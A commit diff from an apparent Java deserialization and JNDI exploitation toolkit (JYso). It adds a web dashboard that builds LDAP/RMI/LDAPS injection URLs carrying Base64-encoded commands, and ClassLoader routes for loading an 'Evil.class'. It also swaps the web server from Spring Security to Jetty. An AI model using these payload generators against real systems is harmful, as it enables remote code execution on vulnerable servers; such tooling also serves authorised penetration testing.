mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
perf:前端大改2
This commit is contained in:
@@ -512,6 +512,7 @@ code, pre, .mono {
|
||||
padding: 3px;
|
||||
gap: 2px;
|
||||
transition: background var(--transition-fluid), border-color var(--transition-fluid);
|
||||
min-width: 260px;
|
||||
}
|
||||
|
||||
.tab-segment-control::before {
|
||||
@@ -535,7 +536,8 @@ code, pre, .mono {
|
||||
.tab-segment-btn {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
padding: 6px 20px;
|
||||
flex: 1;
|
||||
padding: 6px 12px;
|
||||
border: none;
|
||||
border-radius: 9px;
|
||||
background: transparent;
|
||||
@@ -548,6 +550,7 @@ code, pre, .mono {
|
||||
white-space: nowrap;
|
||||
letter-spacing: -0.2px;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.tab-segment-btn:active {
|
||||
@@ -584,6 +587,27 @@ code, pre, .mono {
|
||||
|
||||
.config-form .btn { grid-column: span 2; margin-top: 14px; }
|
||||
|
||||
.gadget-dropdown {
|
||||
position: absolute;
|
||||
top: 100%;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 50;
|
||||
background: var(--card-bg);
|
||||
backdrop-filter: blur(24px) saturate(180%);
|
||||
-webkit-backdrop-filter: blur(24px) saturate(180%);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
box-shadow: var(--card-shadow-lg);
|
||||
overflow: hidden;
|
||||
animation: dropdownSlideIn 180ms cubic-bezier(0.22, 0.1, 0, 1) both;
|
||||
}
|
||||
|
||||
@keyframes dropdownSlideIn {
|
||||
from { opacity: 0; transform: translateY(-4px) scale(0.985); }
|
||||
to { opacity: 1; transform: translateY(0) scale(1); }
|
||||
}
|
||||
|
||||
.gadget-list {
|
||||
max-height: 280px;
|
||||
overflow-y: auto;
|
||||
@@ -643,11 +667,6 @@ label.form-group {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.pill-sun, .pill-moon {
|
||||
font-size: 15px;
|
||||
line-height: 1;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.page-shell { padding: 48px 16px 32px; }
|
||||
.grid-2 { grid-template-columns: 1fr; }
|
||||
|
||||
@@ -15,11 +15,28 @@ export default function Dashboard() {
|
||||
const [loading, setLoading] = useState(false)
|
||||
const [msg, setMsg] = useState({ success: '', error: '' })
|
||||
const [toggling, setToggling] = useState(null)
|
||||
const [activeJndiTab, setActiveJndiTab] = useState('config')
|
||||
const [gadgets, setGadgets] = useState([])
|
||||
const [gadgetSearch, setGadgetSearch] = useState('')
|
||||
const [selectedGadget, setSelectedGadget] = useState('')
|
||||
const [payloadCmd, setPayloadCmd] = useState('')
|
||||
const [payloadResult, setPayloadResult] = useState('')
|
||||
const [payloadSubTab, setPayloadSubTab] = useState('gadget')
|
||||
const [gadgetOpen, setGadgetOpen] = useState(false)
|
||||
const [jndiPayloadResult, setJndiPayloadResult] = useState('')
|
||||
const [rmiPayloadResult, setRmiPayloadResult] = useState('')
|
||||
const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
|
||||
const [jndiGadgetInput, setJndiGadgetInput] = useState('')
|
||||
const [gadgetModeInput, setGadgetModeInput] = useState('')
|
||||
const [saveFilename, setSaveFilename] = useState('')
|
||||
const [filePath, setFilePath] = useState('')
|
||||
const [classLoaderResult, setClassLoaderResult] = useState('')
|
||||
const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
|
||||
const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
|
||||
const [routing, setRouting] = useState('ELProcessor')
|
||||
const [routingOpen, setRoutingOpen] = useState(false)
|
||||
|
||||
const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
|
||||
|
||||
const [configForm, setConfigForm] = useState({
|
||||
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
|
||||
@@ -98,10 +115,12 @@ export default function Dashboard() {
|
||||
}
|
||||
|
||||
async function handleGeneratePayload() {
|
||||
const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
|
||||
if (!gadgetName) return
|
||||
setLoading(true)
|
||||
setMsg({ success: '', error: '' })
|
||||
try {
|
||||
const res = await apiGenerate({ gadget: selectedGadget, command: payloadCmd })
|
||||
const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename })
|
||||
if (res.data.success) {
|
||||
setPayloadResult(res.data.message || 'Payload generated successfully')
|
||||
setMsg({ success: 'Payload generated', error: '' })
|
||||
@@ -114,6 +133,68 @@ export default function Dashboard() {
|
||||
} finally { setLoading(false) }
|
||||
}
|
||||
|
||||
function handleGenerateJndiPayload() {
|
||||
const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
|
||||
if (!gadgetName || !payloadCmd) return
|
||||
setLoading(true)
|
||||
setMsg({ success: '', error: '' })
|
||||
setJndiPayloadResult('')
|
||||
setRmiPayloadResult('')
|
||||
setLdapsPayloadResult('')
|
||||
try {
|
||||
const bytes = new TextEncoder().encode(payloadCmd)
|
||||
const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
|
||||
const ipAddr = configForm.ip || '0.0.0.0'
|
||||
const ldapPort = configForm.ldapPort || 1389
|
||||
const rmiPort = configForm.rmiPort || 1099
|
||||
const ldapsPort = configForm.ldapsPort || 1669
|
||||
|
||||
const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
|
||||
const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
|
||||
const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
|
||||
|
||||
setJndiPayloadResult(ldapUrl)
|
||||
setRmiPayloadResult(rmiUrl)
|
||||
setLdapsPayloadResult(ldapsUrl)
|
||||
setMsg({ success: 'Payload URLs generated', error: '' })
|
||||
} catch (e) {
|
||||
setMsg({ success: '', error: 'Failed to generate URL' })
|
||||
} finally { setLoading(false) }
|
||||
}
|
||||
|
||||
function handleGenerateClassLoader() {
|
||||
const fp = filePath.trim()
|
||||
const route = routing.trim()
|
||||
if (!fp || !route) return
|
||||
setLoading(true)
|
||||
setMsg({ success: '', error: '' })
|
||||
setClassLoaderResult('')
|
||||
setRmiClassLoaderResult('')
|
||||
setLdapsClassLoaderResult('')
|
||||
if (!fp.toLowerCase().endsWith('.class')) {
|
||||
setMsg({ success: '', error: 'File path must end with .class' })
|
||||
setLoading(false)
|
||||
return
|
||||
}
|
||||
try {
|
||||
const ipAddr = configForm.ip || '0.0.0.0'
|
||||
const ldapPort = configForm.ldapPort || 1389
|
||||
const rmiPort = configForm.rmiPort || 1099
|
||||
const ldapsPort = configForm.ldapsPort || 1669
|
||||
|
||||
const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`
|
||||
const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`
|
||||
const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`
|
||||
|
||||
setClassLoaderResult(ldapUrl)
|
||||
setRmiClassLoaderResult(rmiUrl)
|
||||
setLdapsClassLoaderResult(ldapsUrl)
|
||||
setMsg({ success: 'ClassLoader URLs generated', error: '' })
|
||||
} catch (e) {
|
||||
setMsg({ success: '', error: 'Failed to generate URL' })
|
||||
} finally { setLoading(false) }
|
||||
}
|
||||
|
||||
function logout() {
|
||||
setAuthToken(null)
|
||||
navigate('/login', { replace: true })
|
||||
@@ -152,14 +233,7 @@ export default function Dashboard() {
|
||||
onClick={toggleTheme}
|
||||
aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'}
|
||||
title={theme === 'light' ? 'Dark mode' : 'Light mode'}
|
||||
>
|
||||
<span className="pill-sun" style={{ position: 'absolute', top: 4, left: 5, opacity: theme === 'dark' ? 0.35 : 1, transition: 'opacity 0.2s' }}>
|
||||
☀️
|
||||
</span>
|
||||
<span className="pill-moon" style={{ position: 'absolute', top: 4, right: 5, opacity: theme === 'dark' ? 1 : 0.35, transition: 'opacity 0.2s' }}>
|
||||
🌙
|
||||
</span>
|
||||
</button>
|
||||
/>
|
||||
<button className="logout-btn" onClick={logout}>Logout</button>
|
||||
</div>
|
||||
</div>
|
||||
@@ -218,8 +292,26 @@ export default function Dashboard() {
|
||||
</div>
|
||||
|
||||
<div className="glass-card section-enter">
|
||||
<h2>Config</h2>
|
||||
<div className="config-form">
|
||||
<div className="control-bar">
|
||||
<div className={'tab-segment-control' + (activeJndiTab === 'payload' ? ' config-tab' : '')}>
|
||||
<button
|
||||
className={'tab-segment-btn' + (activeJndiTab === 'config' ? ' active' : '')}
|
||||
onClick={() => setActiveJndiTab('config')}
|
||||
>
|
||||
Config
|
||||
</button>
|
||||
<button
|
||||
className={'tab-segment-btn' + (activeJndiTab === 'payload' ? ' active' : '')}
|
||||
onClick={() => setActiveJndiTab('payload')}
|
||||
>
|
||||
Payload Generator
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{activeJndiTab === 'config' && (
|
||||
<div key="jndi-config" className="tab-content-enter">
|
||||
<div className="config-form">
|
||||
<div className="form-group">
|
||||
<label>IP Address</label>
|
||||
<input type="text" value={configForm.ip}
|
||||
@@ -280,6 +372,128 @@ export default function Dashboard() {
|
||||
{loading ? 'Saving...' : 'Save Configuration'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{activeJndiTab === 'payload' && (
|
||||
<div key="jndi-payload" className="tab-content-enter">
|
||||
<div className="control-bar">
|
||||
<div className={'tab-segment-control' + (payloadSubTab === 'classloader' ? ' config-tab' : '')}>
|
||||
<button
|
||||
className={'tab-segment-btn' + (payloadSubTab === 'gadget' ? ' active' : '')}
|
||||
onClick={() => setPayloadSubTab('gadget')}
|
||||
>
|
||||
Gadget
|
||||
</button>
|
||||
<button
|
||||
className={'tab-segment-btn' + (payloadSubTab === 'classloader' ? ' active' : '')}
|
||||
onClick={() => setPayloadSubTab('classloader')}
|
||||
>
|
||||
ClassLoader
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{payloadSubTab === 'gadget' && (
|
||||
<div key="payload-gadget" className="tab-content-enter">
|
||||
<div style={{ position: 'relative' }}>
|
||||
<div className="form-group">
|
||||
<label>Gadget</label>
|
||||
<input type="text"
|
||||
value={jndiGadgetInput}
|
||||
placeholder="Type or search..."
|
||||
onFocus={() => setGadgetOpen(true)}
|
||||
onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
|
||||
onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }}
|
||||
style={{ cursor: 'text' }}
|
||||
/>
|
||||
</div>
|
||||
{gadgetOpen && (
|
||||
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
||||
{filteredGadgets.map(g => (
|
||||
<div key={g.name}
|
||||
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
|
||||
onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
|
||||
{g.name}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label>Command</label>
|
||||
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
|
||||
onChange={e => setPayloadCmd(e.target.value)} />
|
||||
</div>
|
||||
<button className="btn btn-primary" onClick={handleGenerateJndiPayload}
|
||||
disabled={loading || (!(jndiGadgetInput || selectedGadget).trim()) || !payloadCmd}>
|
||||
{loading ? 'Generating...' : 'Generate'}
|
||||
</button>
|
||||
{jndiPayloadResult && (
|
||||
<div className="payload-output" style={{ marginTop: 14 }}>{jndiPayloadResult}</div>
|
||||
)}
|
||||
{rmiPayloadResult && (
|
||||
<div className="payload-output" style={{ marginTop: 8 }}>{rmiPayloadResult}</div>
|
||||
)}
|
||||
{ldapsPayloadResult && (
|
||||
<div className="payload-output" style={{ marginTop: 8 }}>{ldapsPayloadResult}</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{payloadSubTab === 'classloader' && (
|
||||
<div key="payload-classloader" className="tab-content-enter">
|
||||
<div style={{ position: 'relative' }}>
|
||||
<div className="form-group">
|
||||
<label>Routing</label>
|
||||
<input type="text"
|
||||
value={routing}
|
||||
placeholder="Select route..."
|
||||
onFocus={() => setRoutingOpen(true)}
|
||||
onBlur={() => setTimeout(() => setRoutingOpen(false), 150)}
|
||||
onChange={e => setRouting(e.target.value)}
|
||||
style={{ cursor: 'text' }}
|
||||
/>
|
||||
</div>
|
||||
{routingOpen && (
|
||||
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||
<div className="gadget-list" style={{ maxHeight: 220, border: 'none', borderRadius: 12 }}>
|
||||
{ROUTING_OPTIONS.map(opt => (
|
||||
<div key={opt}
|
||||
className={'gadget-item' + (routing === opt ? ' selected' : '')}
|
||||
onMouseDown={e => { e.preventDefault(); setRouting(opt); setRoutingOpen(false); }}>
|
||||
{opt}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label>FilePath</label>
|
||||
<input type="text" value={filePath}
|
||||
placeholder="e.g. /Evil.class"
|
||||
onChange={e => setFilePath(e.target.value)} />
|
||||
</div>
|
||||
<button className="btn btn-primary" onClick={handleGenerateClassLoader}
|
||||
disabled={loading || !filePath.trim() || !routing.trim()}>
|
||||
{loading ? 'Generating...' : 'Generate'}
|
||||
</button>
|
||||
{classLoaderResult && (
|
||||
<div className="payload-output" style={{ marginTop: 14 }}>{classLoaderResult}</div>
|
||||
)}
|
||||
{rmiClassLoaderResult && (
|
||||
<div className="payload-output" style={{ marginTop: 8 }}>{rmiClassLoaderResult}</div>
|
||||
)}
|
||||
{ldapsClassLoaderResult && (
|
||||
<div className="payload-output" style={{ marginTop: 8 }}>{ldapsClassLoaderResult}</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
@@ -287,40 +501,50 @@ export default function Dashboard() {
|
||||
{mode === 'gadget' && (
|
||||
<div className="glass-card section-enter">
|
||||
<h2>Payload Generator</h2>
|
||||
<div className="grid-2">
|
||||
<div>
|
||||
<h3 style={{ fontSize: 13, marginBottom: 10, color: 'var(--text-secondary)', fontWeight: 600, textTransform: 'uppercase', letterSpacing: 0.5 }}>
|
||||
Select Gadget
|
||||
</h3>
|
||||
<div className="form-group">
|
||||
<input type="text" placeholder="Search..." value={gadgetSearch}
|
||||
onChange={e => setGadgetSearch(e.target.value)} />
|
||||
</div>
|
||||
<div className="gadget-list">
|
||||
{filteredGadgets.map(g => (
|
||||
<div key={g.name}
|
||||
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
|
||||
onClick={() => setSelectedGadget(g.name)}>
|
||||
{g.name}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div style={{ position: 'relative' }}>
|
||||
<div className="form-group">
|
||||
<label>Gadget</label>
|
||||
<input type="text"
|
||||
value={gadgetModeInput}
|
||||
placeholder="Type or search..."
|
||||
onFocus={() => setGadgetOpen(true)}
|
||||
onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
|
||||
onChange={e => { setGadgetModeInput(e.target.value); setGadgetSearch(e.target.value); }}
|
||||
style={{ cursor: 'text' }}
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<div className="form-group">
|
||||
<label>Command</label>
|
||||
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
|
||||
onChange={e => setPayloadCmd(e.target.value)} />
|
||||
{gadgetOpen && (
|
||||
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
||||
{filteredGadgets.map(g => (
|
||||
<div key={g.name}
|
||||
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
|
||||
onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setGadgetModeInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
|
||||
{g.name}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
<button className="btn btn-primary" onClick={handleGeneratePayload}
|
||||
disabled={loading || !selectedGadget}>
|
||||
{loading ? 'Generating...' : 'Generate Payload'}
|
||||
</button>
|
||||
{payloadResult && (
|
||||
<div className="payload-output">{payloadResult}</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label>Command</label>
|
||||
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
|
||||
onChange={e => setPayloadCmd(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label>Save As (leave empty to discard)</label>
|
||||
<input type="text" value={saveFilename}
|
||||
placeholder="e.g. payload.ser"
|
||||
onChange={e => setSaveFilename(e.target.value)} />
|
||||
</div>
|
||||
<button className="btn btn-primary" onClick={handleGeneratePayload}
|
||||
disabled={loading || !(gadgetModeInput || selectedGadget).trim()}>
|
||||
{loading ? 'Generating...' : 'Generate'}
|
||||
</button>
|
||||
{payloadResult && (
|
||||
<div className="payload-output" style={{ marginTop: 14 }}>{payloadResult}</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -115,12 +115,6 @@ public class Config {
|
||||
for (String line : lines) {
|
||||
System.out.println(" " + line);
|
||||
}
|
||||
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
if (showVersion) {
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
//获取当前 Jar 的名称
|
||||
@@ -129,7 +123,6 @@ public class Config {
|
||||
|
||||
if (help) {
|
||||
jc.usage(); //if -h specified, show help and exit
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
// 特别注意:最后一个反斜杠不能少啊
|
||||
|
||||
@@ -17,7 +17,6 @@ import java.nio.file.Paths;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
||||
|
||||
public class ysoserial {
|
||||
|
||||
@@ -88,7 +87,6 @@ public class ysoserial {
|
||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -104,12 +102,6 @@ public class ysoserial {
|
||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||
}
|
||||
|
||||
// 储存生成的 payload
|
||||
PAYLOAD = object;
|
||||
if (isFromExploit()) {
|
||||
return;
|
||||
}
|
||||
|
||||
OutputStream out;
|
||||
|
||||
if (Config.WRITE_FILE) {
|
||||
@@ -183,7 +175,6 @@ public class ysoserial {
|
||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -96,7 +96,6 @@ public class JRE8u20 implements ObjectPayload<Object> {
|
||||
|
||||
if (JYsoMode) {
|
||||
ser.write(System.out);
|
||||
System.exit(0);
|
||||
}
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ser.write(out);
|
||||
|
||||
@@ -45,4 +45,4 @@ public class Jackson2 implements ObjectPayload<Object> {
|
||||
setFieldValue(val, "suppressedExceptions", null);
|
||||
return val;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -122,4 +122,4 @@ public class Jackson3 implements ObjectPayload<Object> {
|
||||
|
||||
return getEventListenerList(node);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -41,4 +41,4 @@ public class Jackson4 implements ObjectPayload<Object> {
|
||||
map2.put("zZ", node);
|
||||
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -48,16 +48,6 @@ public class StringUtil {
|
||||
return lines;
|
||||
}
|
||||
|
||||
public static boolean isFromExploit() {
|
||||
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
|
||||
for (StackTraceElement stackTraceElement : stackTraceElements) {
|
||||
if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static class ToStringComparator implements Comparator<Object> {
|
||||
|
||||
public int compare(Object o1, Object o2) {
|
||||
|
||||
@@ -1,8 +1,43 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
public class SuClassLoader extends ClassLoader {
|
||||
|
||||
private final Set<String> skipParentClasses;
|
||||
|
||||
public SuClassLoader() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
this.skipParentClasses = Collections.emptySet();
|
||||
}
|
||||
|
||||
public SuClassLoader(ClassLoader parent) {
|
||||
super(parent);
|
||||
this.skipParentClasses = Collections.emptySet();
|
||||
}
|
||||
|
||||
public SuClassLoader(ClassLoader parent, String skipParentClass) {
|
||||
super(parent);
|
||||
this.skipParentClasses = ConcurrentHashMap.newKeySet();
|
||||
this.skipParentClasses.add(skipParentClass);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
|
||||
if (skipParentClasses.contains(name)) {
|
||||
Class<?> c = findLoadedClass(name);
|
||||
if (c != null) return c;
|
||||
c = findClass(name);
|
||||
if (resolve) resolveClass(c);
|
||||
return c;
|
||||
}
|
||||
return super.loadClass(name, resolve);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Class<?> findClass(String name) throws ClassNotFoundException {
|
||||
throw new ClassNotFoundException(name);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,21 +9,20 @@ import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
|
||||
import com.qi4l.JYso.web.config.WebPasswordGenerator;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.WebApplicationType;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||
import org.springframework.context.ConfigurableApplicationContext;
|
||||
import org.eclipse.jetty.server.Server;
|
||||
import org.eclipse.jetty.servlet.FilterHolder;
|
||||
import org.eclipse.jetty.servlet.ServletContextHandler;
|
||||
import org.eclipse.jetty.servlet.ServletHolder;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.awt.*;
|
||||
import java.awt.datatransfer.StringSelection;
|
||||
import java.util.Properties;
|
||||
import java.util.EnumSet;
|
||||
import java.util.concurrent.CountDownLatch;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@SpringBootApplication(scanBasePackages = "com.qi4l.JYso.web")
|
||||
public class JYsoWebApplication {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JYsoWebApplication.class);
|
||||
@@ -58,26 +57,38 @@ public class JYsoWebApplication {
|
||||
|
||||
startJndiServers(args);
|
||||
|
||||
Properties props = new Properties();
|
||||
props.put("server.port", String.valueOf(webPort));
|
||||
props.put("spring.main.banner-mode", "off");
|
||||
props.put("spring.main.web-application-type", "servlet");
|
||||
|
||||
ConfigurableApplicationContext ctx = new SpringApplicationBuilder(JYsoWebApplication.class)
|
||||
.web(WebApplicationType.SERVLET)
|
||||
.properties(props)
|
||||
.run(filterWebArgs(args));
|
||||
|
||||
CountDownLatch latch = new CountDownLatch(1);
|
||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||
log.info("Shutting down...");
|
||||
ctx.close();
|
||||
latch.countDown();
|
||||
}));
|
||||
try {
|
||||
Server server = new Server(webPort);
|
||||
ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
|
||||
context.setContextPath("/");
|
||||
server.setHandler(context);
|
||||
|
||||
context.addFilter(new FilterHolder(new ApiAuthFilter()), "/api/*", EnumSet.of(DispatcherType.REQUEST));
|
||||
|
||||
context.addServlet(new ServletHolder(new AuthServlet()), "/api/auth/login");
|
||||
|
||||
context.addServlet(new ServletHolder(new JettyApiServlet()), "/api/*");
|
||||
|
||||
context.addFilter(new FilterHolder(new SpaFallbackFilter()), "/*", EnumSet.of(DispatcherType.REQUEST));
|
||||
|
||||
context.addServlet(new ServletHolder(new StaticResourceServlet()), "/");
|
||||
|
||||
server.start();
|
||||
System.out.println(ansi().render("@|green [+]|@ Web GUI started on http://127.0.0.1:" + webPort));
|
||||
|
||||
CountDownLatch latch = new CountDownLatch(1);
|
||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||
log.info("Shutting down...");
|
||||
try {
|
||||
server.stop();
|
||||
} catch (Exception e) {
|
||||
log.error("Stop error", e);
|
||||
}
|
||||
latch.countDown();
|
||||
}));
|
||||
latch.await();
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt();
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to start web server", e);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,7 +99,6 @@ public class JYsoWebApplication {
|
||||
);
|
||||
System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard"));
|
||||
} catch (HeadlessException e) {
|
||||
// headless environment, clipboard unavailable
|
||||
} catch (Exception e) {
|
||||
System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage()));
|
||||
}
|
||||
|
||||
@@ -1,51 +0,0 @@
|
||||
package com.qi4l.JYso.web.config;
|
||||
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
||||
import org.springframework.security.config.http.SessionCreationPolicy;
|
||||
import org.springframework.security.core.userdetails.User;
|
||||
import org.springframework.security.core.userdetails.UserDetails;
|
||||
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
|
||||
import org.springframework.security.crypto.password.PasswordEncoder;
|
||||
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
|
||||
import org.springframework.security.web.SecurityFilterChain;
|
||||
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
|
||||
|
||||
@Configuration
|
||||
@EnableWebSecurity
|
||||
public class SecurityConfig {
|
||||
|
||||
@Bean
|
||||
public PasswordEncoder passwordEncoder() {
|
||||
return new BCryptPasswordEncoder();
|
||||
}
|
||||
|
||||
@Bean
|
||||
public InMemoryUserDetailsManager userDetailsService() {
|
||||
UserDetails user = User.builder()
|
||||
.username("qi")
|
||||
.password(passwordEncoder().encode(JYsoWebPasswordProvider.getPassword()))
|
||||
.roles("ADMIN")
|
||||
.build();
|
||||
return new InMemoryUserDetailsManager(user);
|
||||
}
|
||||
|
||||
@Bean
|
||||
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
|
||||
http
|
||||
.csrf().disable()
|
||||
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
|
||||
.and()
|
||||
.authorizeRequests()
|
||||
.anyRequest().permitAll()
|
||||
.and()
|
||||
.httpBasic().disable()
|
||||
.formLogin().disable()
|
||||
.logout().disable()
|
||||
.addFilterBefore(new TokenAuthFilter(), UsernamePasswordAuthenticationFilter.class);
|
||||
|
||||
return http.build();
|
||||
}
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
package com.qi4l.JYso.web.config;
|
||||
|
||||
import com.qi4l.JYso.web.controller.AuthController;
|
||||
import org.springframework.web.filter.OncePerRequestFilter;
|
||||
|
||||
import javax.servlet.FilterChain;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
|
||||
public class TokenAuthFilter extends OncePerRequestFilter {
|
||||
|
||||
@Override
|
||||
protected void doFilterInternal(HttpServletRequest request,
|
||||
HttpServletResponse response,
|
||||
FilterChain filterChain) throws ServletException, IOException {
|
||||
|
||||
String path = request.getRequestURI();
|
||||
if (!path.startsWith("/api/") || path.equals("/api/auth/login")) {
|
||||
filterChain.doFilter(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
String authHeader = request.getHeader("Authorization");
|
||||
if (authHeader == null || !authHeader.startsWith("Bearer ")) {
|
||||
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
|
||||
response.setContentType("application/json");
|
||||
response.getWriter().write("{\"error\":\"Unauthorized\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
String token = authHeader.substring(7);
|
||||
if (!AuthController.validateToken(token)) {
|
||||
